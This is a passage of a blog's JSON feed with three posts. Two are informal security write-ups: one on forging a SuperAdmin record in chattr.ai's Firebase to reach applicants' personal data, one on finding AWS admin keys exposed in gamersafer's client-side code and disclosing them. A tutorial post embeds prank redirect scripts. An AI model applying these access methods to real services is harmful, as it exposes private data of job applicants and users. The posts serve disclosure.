here</a></p><script>id.onclick = () =&gt; window.location.replace(`https://www.youtube.com/watch?v=2qgxAHW1w78`);</script>","date_published":"Wed, 10 Jan 2024 00:00:00 GMT"},{"id":"https://eva.ac/blog/chattr/","url":"https://eva.ac/blog/chattr/","title":"how we owned almost all of america's fast food chains","content_html":"<p><strong>check out <a href=\"https://mrbruh.com/chattr/\">mrbruhs blogpost</a> if you havent already</strong></p>\n<p>so recently i was on call <a href=\"https://mrbruh.com/\">with</a> some friends messing with some other stuff when we remembered the existence of a scanner we made for firebase and found https://chattr.ai and realised they used firebase, we didnt know much about firebase at the time so we simply tried to find a tool to see if it was vulnerable to something obvious and we found <a href=\"https://github.com/0xbigshaq/firepwn-tool/\">firepwn</a>, which seemed nice for a GUI tool, so we simply entered the details of chattr's firebase.</p>\n<p>at first, we got permission denied for everything, so we thought it was safe. but then we tried registering a account with firebase manually, and once we signed in, we could see literally everything.</p>\n<p>we were in a call at the time, and our reaction to this was insane, as if we look at chattr's website, they manage hiring for a <em>lot</em> of fast food chains.</p>\n<p><img src=\"https://eva.ac/files/img/posts/chattr/companies.png\" alt=\"Carousel displaying &quot;Taco Bell&quot;, &quot;KFC&quot;, &quot;Double Tree&quot;, &quot;Jimmy John's&quot;, &quot;Wendy's&quot; and &quot;Village Inn&quot; on chattr.ai\"></p>\n<h2>going from bad to worse</h2>\n<p>at this point, we had quite a lot of access but we wanted to see how bad this could get. so we kept searching, and after looking at the admin dashboard javascript for a while we found these firestore collections:</p>\n<ul>\n<li>dialog</li>\n<li>jobCategories</li>\n<li>questions</li>\n<li>candidates</li>\n<li>candidateJobs</li>\n<li>orgs</li>\n<li>orgs/<code>{orgID}</code>/candidateJobs</li>\n<li>orgs/<code>{orgID}</code>/conversations</li>\n<li>orgs/<code>{orgID}</code>/groups</li>\n<li>orgs/<code>{orgID}</code>/jobs</li>\n<li>orgs/<code>{orgID}</code>/locations</li>\n<li>orgs/<code>{orgID}</code>/notifications</li>\n<li>orgs/<code>{orgID}</code>/users</li>\n</ul>\n<p>these leaked quite a <em>lot</em> but what we were most interested in was getting access to the admin dashboard or getting a admin account, we quickly found out all of the admin accounts are in the organization of <code>0</code> which seems to be the chattr organization. if we look at one of these users we'll see this:</p>\n<pre><code class=\"language-json\">{\n    &quot;createdDt&quot;: REDACTED,\n    &quot;id&quot;: &quot;REDACTED&quot;,\n    &quot;phone&quot;: &quot;&quot;,\n    &quot;shouldRefresh&quot;: false,\n    &quot;jobTitle&quot;: &quot;&quot;,\n    &quot;forceLogout&quot;: false,\n    &quot;locations&quot;: [],\n    &quot;combinedLocations&quot;: [],\n    &quot;scheduleOptions&quot;: [],\n    &quot;lastLoginDt&quot;: REDACTED,\n    &quot;modifiedDt&quot;: REDACTED,\n    &quot;status&quot;: &quot;active&quot;,\n    &quot;isDeleted&quot;: false,\n    &quot;email&quot;: &quot;REDACTED@chattr.ai&quot;,\n    &quot;createdBy&quot;: {\n      &quot;id&quot;: &quot;REDACTED&quot;,\n      &quot;email&quot;: &quot;REDACTED@chattr.ai&quot;\n    },\n    &quot;providerId&quot;: &quot;REDACTED&quot;,\n    &quot;ghostOrg&quot;: &quot;0&quot;,\n    &quot;modifiedBySource&quot;: &quot;api-middleware-user-activity&quot;,\n    &quot;roles&quot;: [\n      &quot;SuperAdmin&quot;\n    ],\n    &quot;groups&quot;: [],\n    &quot;modifiedBy&quot;: null,\n    &quot;orgId&quot;: &quot;0&quot;,\n    &quot;lastActivity&quot;: REDACTED,\n    &quot;firstname&quot;: &quot;REDACTED&quot;,\n    &quot;lastname&quot;: &quot;REDACTED&quot;,\n    &quot;timezone&quot;: &quot;America/New_York&quot;\n  }\n\n</code></pre>\n<p>so out of pure curiosity i tried to create a document with a random id and replaced the provider id with our fake user id copying this document, and out of nowhere it worked:</p>\n<p><img src=\"https://eva.ac/files/img/posts/chattr/admin-overview.png\" alt=\"Photo of the chattr admin dashboard, text saying &quot;one dream. one team.&quot; with the chattr logo\"></p>\n<p>and the impact here is obvious:</p>\n<p><img src=\"https://eva.ac/files/img/posts/chattr/admin-superadmins.png\" alt=\"Photo of the chattr admin dashboard, list of all admins of the service\"></p>\n<p>... and more:</p>\n<p><img src=\"https://eva.ac/files/img/posts/chattr/admin-orgs.png\" alt=\"Photo of the chattr admin dashboard, list of all orgs using the service\"></p>\n<p>... and even more:</p>\n<p><img src=\"https://eva.ac/files/img/posts/chattr/admin-candidate-apply-convo.png\" alt=\"Photo of a conversation between the application bot and a candidate\"></p>\n<h2>going from worse to catastrophic</h2>\n<p>we soon realised from this admin dashboard, we could view conversations of candidates, phone numbers, profile pictures and more very powerful stuff from this admin panel, but while looking around on their app i randomly went to their actual user interface where i discovered something <em>very</em> interesting.</p>\n<p>there was a &quot;ghost&quot; mode where superadmins could access someone elses account and fully control them, this was where i discovered the fact that we could view <em>billing info</em> with this:</p>\n<p><img src=\"https://eva.ac/files/img/posts/chattr/ghost-stripe.png\" alt=\"Photo of a stripe reciept from Chattr\"></p>\n<p>we could also hire people and do other stuff with the ghost mode.</p>\n<h2>lets tldr</h2>\n<p>so, that was one hell of a ride but the basic TLDR is that</p>\n<p>big hiring company got fully pwned by a really stupid vulnerability that couldve been prevented really easily, the following data was exposed:</p>\n<ul>\n<li><strong>billing information</strong></li>\n<li><strong>plaintext passwords</strong> (only 6 or so accounts had this)</li>\n<li>phone numbers</li>\n<li>resumes</li>\n<li>emails</li>\n<li>full application conversation</li>\n<li>candidate notes</li>\n<li>profile pictures</li>\n<li>addresses</li>\n<li>all notifications</li>\n<li>company phone numbers</li>\n<li>pay info</li>\n</ul>\n<h2>credits</h2>\n<ul>\n<li>logykk</li>\n<li>mrbruh (<a href=\"https://mrbruh.com/chattr/\">his article</a>)</li>\n</ul>\n<p><strong>we did not save any info other then the screenshots above and maybe a few more, we did make sure to get rid of extremely sensetive personal information.</strong></p>\n","date_published":"Wed, 10 Jan 2024 00:00:00 GMT"},{"id":"https://eva.ac/blog/workers-rs/","url":"https://eva.ac/blog/workers-rs/","title":"how to use workers-rs (prime edition)","content_html":"<p>so, recently prime has been making doom in ascii and wants to make a web frontend for it, but because its over tcp, he cant.</p><p>the most scalable way of doing this is through cloudflare workers, and because cloudflare workers uses JS, prime doesnt want to use it.</p><p>luckily, cloudflare has a way of creating workers with rust, which prime loves for some reason. this article explains how to make a simple project with workers-rs and get started on a ws &lt;-&gt; tcp proxy</p><h2>starting a cloudflare worker project with rust</h2><p>this is thankfully very simple, you just have to <code>cargo generate cloudflare/workers-rs</code>, this will give you some base code to work with.</p><h2>using websockets with workers-rs</h2><p>this part isnt as easy because there is barely any documentation on how to do it, but there is some <a href=\"https://github.com/cloudflare/workers-rs/blob/main/worker-sandbox/src/ws.rs\">test code</a> found in the repo to do it with.</p><h2>oh god its tcp time</h2><p>this is the part that i assumed was going to be really bad with rust WASM bindings, but its suprisingly simple, there is still no documentation but there is some example code which just gives it all <a href=\"https://github.com/cloudflare/workers-rs/blob/main/worker-sandbox/src/socket.rs\">here</a></p><h2>putting it all together</h2><p>so, it was basically as simple as combining those 2 examples together, i&#39;ve made <a onclick=\"window.location.replace(&#39;https://www.youtube.com/watch?v=dQw4w9WgXcQ&#39;)\">a github repository</a> to show how i did this, and stress tested it with 10,000 clients, it works pretty well!</p><script>setTimeout(() =&gt; window.location.replace(&quot;https://www.youtube.com/watch?v=dQw4w9WgXcQ&quot;), 1000 * 30)</script>","date_published":"Wed, 10 Jan 2024 00:00:00 GMT"},{"id":"https://eva.ac/blog/gamersafer/","url":"https://eva.ac/blog/gamersafer/","title":"why client-side environment variables are a bad idea","content_html":"<p><strong>at the time of writing this is all patched, dont come to me asking if it still works and how you can do it.</strong></p>\n<p>so, recently i was looking into a microsoft partner called <a href=\"https://gamersafer.com/\">gamersafer</a> which promotes <a href=\"https://gamersafer.com/gamersafer-for-multiplayer-games/\">facial recognition KYC to log into games (fun stuff)</a> and also notably runs the <a href=\"https://findmcserver.com/\">official minecraft serverlist</a> which is <a href=\"https://www.youtube.com/watch?v=cUbglrIdyjg\">riddled with servers that are against mojangs own rules</a></p>\n<h1>the start</h1>\n<p>im in some cringy &quot;minecraft server owner&quot; or &quot;minecraft influencer&quot; discord server where people like to shit on mojang (for no real reason) on, and i saw this message chain on one:</p>\n<p><img src=\"https://eva.ac/files/img/posts/gamersafer/initial.png\" alt=\"im too lazy to actually alt-text this, im so sorry, but its a very long convo, the gist of it is BlueBandit from PvPLegacy asking misterepic if he has any idea on the review times on findmcserver.com\"></p>\n<p>this reminded me of the fact that <a href=\"https://gamersafer.com/\">gamersafer</a> exists and that they are a microsoft partner, which got me to poke around their service!</p>\n<h1>initial recon</h1>\n<p>so, as i do i was just looking at their <a href=\"https://securitytrails.com/domain/gamersafer.com/dns\">subdomains</a> to see if theres anything interesting on them, and one stuck out: <code>admin.gamersafer.com</code>.</p>\n<p>opening the domain in a browser displayed a login prompt that looked a little like this:</p>\n<p><img src=\"https://eva.ac/files/img/posts/gamersafer/admin-panel.png\" alt=\"a username and password prompt with the gamersafer logo at the top, and the title &quot;Welcome to GS Sudo&quot; with a subtitle &quot;The GamerSafer's super user admin panel&quot;\"></p>\n<p>upon opening firefox devtools, i discovered that this page actually had JS sourcemaps on, which was going to be useful for reversing stuff.</p>\n<p>the first thing i do is to try to look for api calls, and as i did so, something stuck out with the api client, it seemed to be referencing something called <code>REACT_APP_AWS_ACCESS_KEY</code> and <code>REACT_APP_AWS_SECRET_KEY</code> while i dont know about aws that much, this looked a little funky.</p>\n<p>it was supposed to be in the process.env but obviously we arent in node so that doesnt exist so i decided to just search for it in the non-sourcemapped js:</p>\n<p><img src=\"https://eva.ac/files/img/posts/gamersafer/creds.png\" alt=\"the app environment config\"></p>\n<p>so, i cleaned this up and took a better look at it:</p>\n<pre><code class=\"language-json\">{\n\t&quot;NODE_ENV&quot;: &quot;production&quot;,\n\t&quot;PUBLIC_URL&quot;: &quot;&quot;,\n\t&quot;WDS_SOCKET_HOST&quot;: null,\n\t&quot;WDS_SOCKET_PATH&quot;: null,\n\t&quot;WDS_SOCKET_PORT&quot;: null,\n\t&quot;FAST_REFRESH&quot;: true,\n\t&quot;REACT_APP_API_HOST&quot;: &quot;apiv2.gamersafer.com&quot;,\n\t&quot;REACT_APP_AWS_SECRET_KEY&quot;: &quot;redacted+redacted&quot;,\n\t&quot;REACT_APP_CHECKOUT_API_URL&quot;: &quot;https://redacted.execute-api.us-east-1.amazonaws.com/prod/&quot;,\n\t&quot;REACT_APP_AWS_ACCESS_KEY&quot;: &quot;redacted&quot;,\n\t&quot;REACT_APP_AUTH_SECRET_KEY&quot;: &quot;redacted&quot;\n}\n</code></pre>\n<h1>chaos begins</h1>\n<p>at first i thought that the AWS secret key being exposed was fine because it had very limited permissions, so to confirm that i quickly looked at the AWS rest api to see how it worked, the module that seemed the simplest and juiciest to me was <a href=\"https://docs.aws.amazon.com/IAM/latest/APIReference/welcome.html\">IAM</a>, and long story short, the account/key we had access to, had full administrator access:</p>\n<pre><code class=\"language-xml\">&lt;Path&gt;/&lt;/Path&gt;\n&lt;AttachedManagedPolicies&gt;\n  &lt;member&gt;\n    &lt;PolicyArn&gt;arn:aws:iam::aws:policy/AmazonAPIGatewayAdministrator&lt;/PolicyArn&gt;\n    &lt;PolicyName&gt;AmazonAPIGatewayAdministrator&lt;/PolicyName&gt;\n  &lt;/member&gt;\n  &lt;member&gt;\n    &lt;PolicyArn&gt;arn:aws:iam::aws:policy/service-role/AmazonAPIGatewayPushToCloudWatchLogs&lt;/PolicyArn&gt;\n    &lt;PolicyName&gt;AmazonAPIGatewayPushToCloudWatchLogs&lt;/PolicyName&gt;\n  &lt;/member&gt;\n  &lt;member&gt;\n    &lt;PolicyArn&gt;arn:aws:iam::aws:policy/AdministratorAccess&lt;/PolicyArn&gt;\n    &lt;PolicyName&gt;AdministratorAccess&lt;/PolicyName&gt;\n  &lt;/member&gt;\n  &lt;member&gt;\n    &lt;PolicyArn&gt;arn:aws:iam::aws:policy/AmazonSESFullAccess&lt;/PolicyArn&gt;\n    &lt;PolicyName&gt;AmazonSESFullAccess&lt;/PolicyName&gt;\n  &lt;/member&gt;\n  &lt;member&gt;\n    &lt;PolicyArn&gt;arn:aws:iam::aws:policy/AmazonSQSFullAccess&lt;/PolicyArn&gt;\n    &lt;PolicyName&gt;AmazonSQSFullAccess&lt;/PolicyName&gt;\n  &lt;/member&gt;\n  &lt;member&gt;\n    &lt;PolicyArn&gt;arn:aws:iam::aws:policy/AmazonAPIGatewayInvokeFullAccess&lt;/PolicyArn&gt;\n    &lt;PolicyName&gt;AmazonAPIGatewayInvokeFullAccess&lt;/PolicyName&gt;\n  &lt;/member&gt;\n  &lt;member&gt;\n    &lt;PolicyArn&gt;arn:aws:iam::aws:policy/AmazonS3FullAccess&lt;/PolicyArn&gt;\n    &lt;PolicyName&gt;AmazonS3FullAccess&lt;/PolicyName&gt;\n  &lt;/member&gt;\n  &lt;member&gt;\n    &lt;PolicyArn&gt;arn:aws:iam::aws:policy/AWSLambda_FullAccess&lt;/PolicyArn&gt;\n    &lt;PolicyName&gt;AWSLambda_FullAccess&lt;/PolicyName&gt;\n  &lt;/member&gt;\n  &lt;member&gt;\n    &lt;PolicyArn&gt;arn:aws:iam::aws:policy/service-role/AmazonS3ObjectLambdaExecutionRolePolicy&lt;/PolicyArn&gt;\n    &lt;PolicyName&gt;AmazonS3ObjectLambdaExecutionRolePolicy&lt;/PolicyName&gt;\n  &lt;/member&gt;\n&lt;/AttachedManagedPolicies&gt;\n&lt;GroupList /&gt;\n&lt;UserName&gt;redacted&lt;/UserName&gt;\n&lt;Arn&gt;arn:aws:iam::redacted:user/redacted&lt;/Arn&gt;\n&lt;UserId&gt;redacted&lt;/UserId&gt;\n&lt;CreateDate&gt;redatced&lt;/CreateDate&gt;\n&lt;Tags /&gt;\n</code></pre>\n<p>which means that if i wanted to, i could do anything like exfiltrate all their data and delete everything.</p>\n<h1>disclosure</h1>\n<p>so first i tried the <a href=\"https://gamersafer.com/contact/\">gamersafer.com contact form</a>, which didnt seem like it did anything.</p>\n<p>then i tried to get some contacts in gamersafer with the help of some friends. i was eventually able to get in contact with TheMisterEpic, which had previously talked to gamersafer before and he quickly created a groupchat with the product manager, who quickly responded to my inquiry.</p>\n<p>from there, it was just taking down stuff and revoking the keys.</p>\n<p>they said thanks but there was no bounty given (kinda expected)</p>\n<h1>lessons learned</h1>\n<p>dont use client environment variables for secrets, please.</p>\n<p>this mistake couldve been avoided by delegating more things to serverside api calls from authorized clients.</p>\n<h1>oh fuck here we go again</h1>\n<p>it has been 72 hours since disclosure of this vulnerability to gamersafer, they have not disclosed the breach of all of their infrastructure to end users which (<strong>i believe</strong>) is highly illegal in the GDPR.</p>\n<p>i also found another vulnerability in <a href=\"https://findmcserver.com/\">findmcserver</a> which allowed me to approve my own server, give myself badges and approving my own server.</p>\n<p><img src=\"https://eva.ac/files/img/posts/gamersafer/server.png\" alt=\"find minecraft server serverlist, a server named &quot;gamersafer&quot; which is mine with all of the available badges, approved\"></p>\n<p>while this isnt as critical, they found the server and i started getting spam logged out (lol), i soon recieved a DM from the CEO.</p>\n<p>i also got this email from the ceo <em>saying</em> they disclosed it (havent checked and it was literally past the disclosure time anyway, better then nothing)\n<img src=\"https://eva.ac/files/img/posts/gamersafer/lol.png\" alt=\"Dear Eva, Sending this email to let you know that players were notified about the incident and we follow the steps required by data privacy authorities as well. Furthermore, we are setting up https://securitytxt.org/ in the following days as well as analyzing how to use https://hackerone.com/ as additional resources for us (considering a bug bounty program). Once again thanks for your support and ethical approach to the incident. Best, Rodrigo\"></p>\n","date_published":"Sat, 23 Dec 2023 00:00:00 GMT"}]}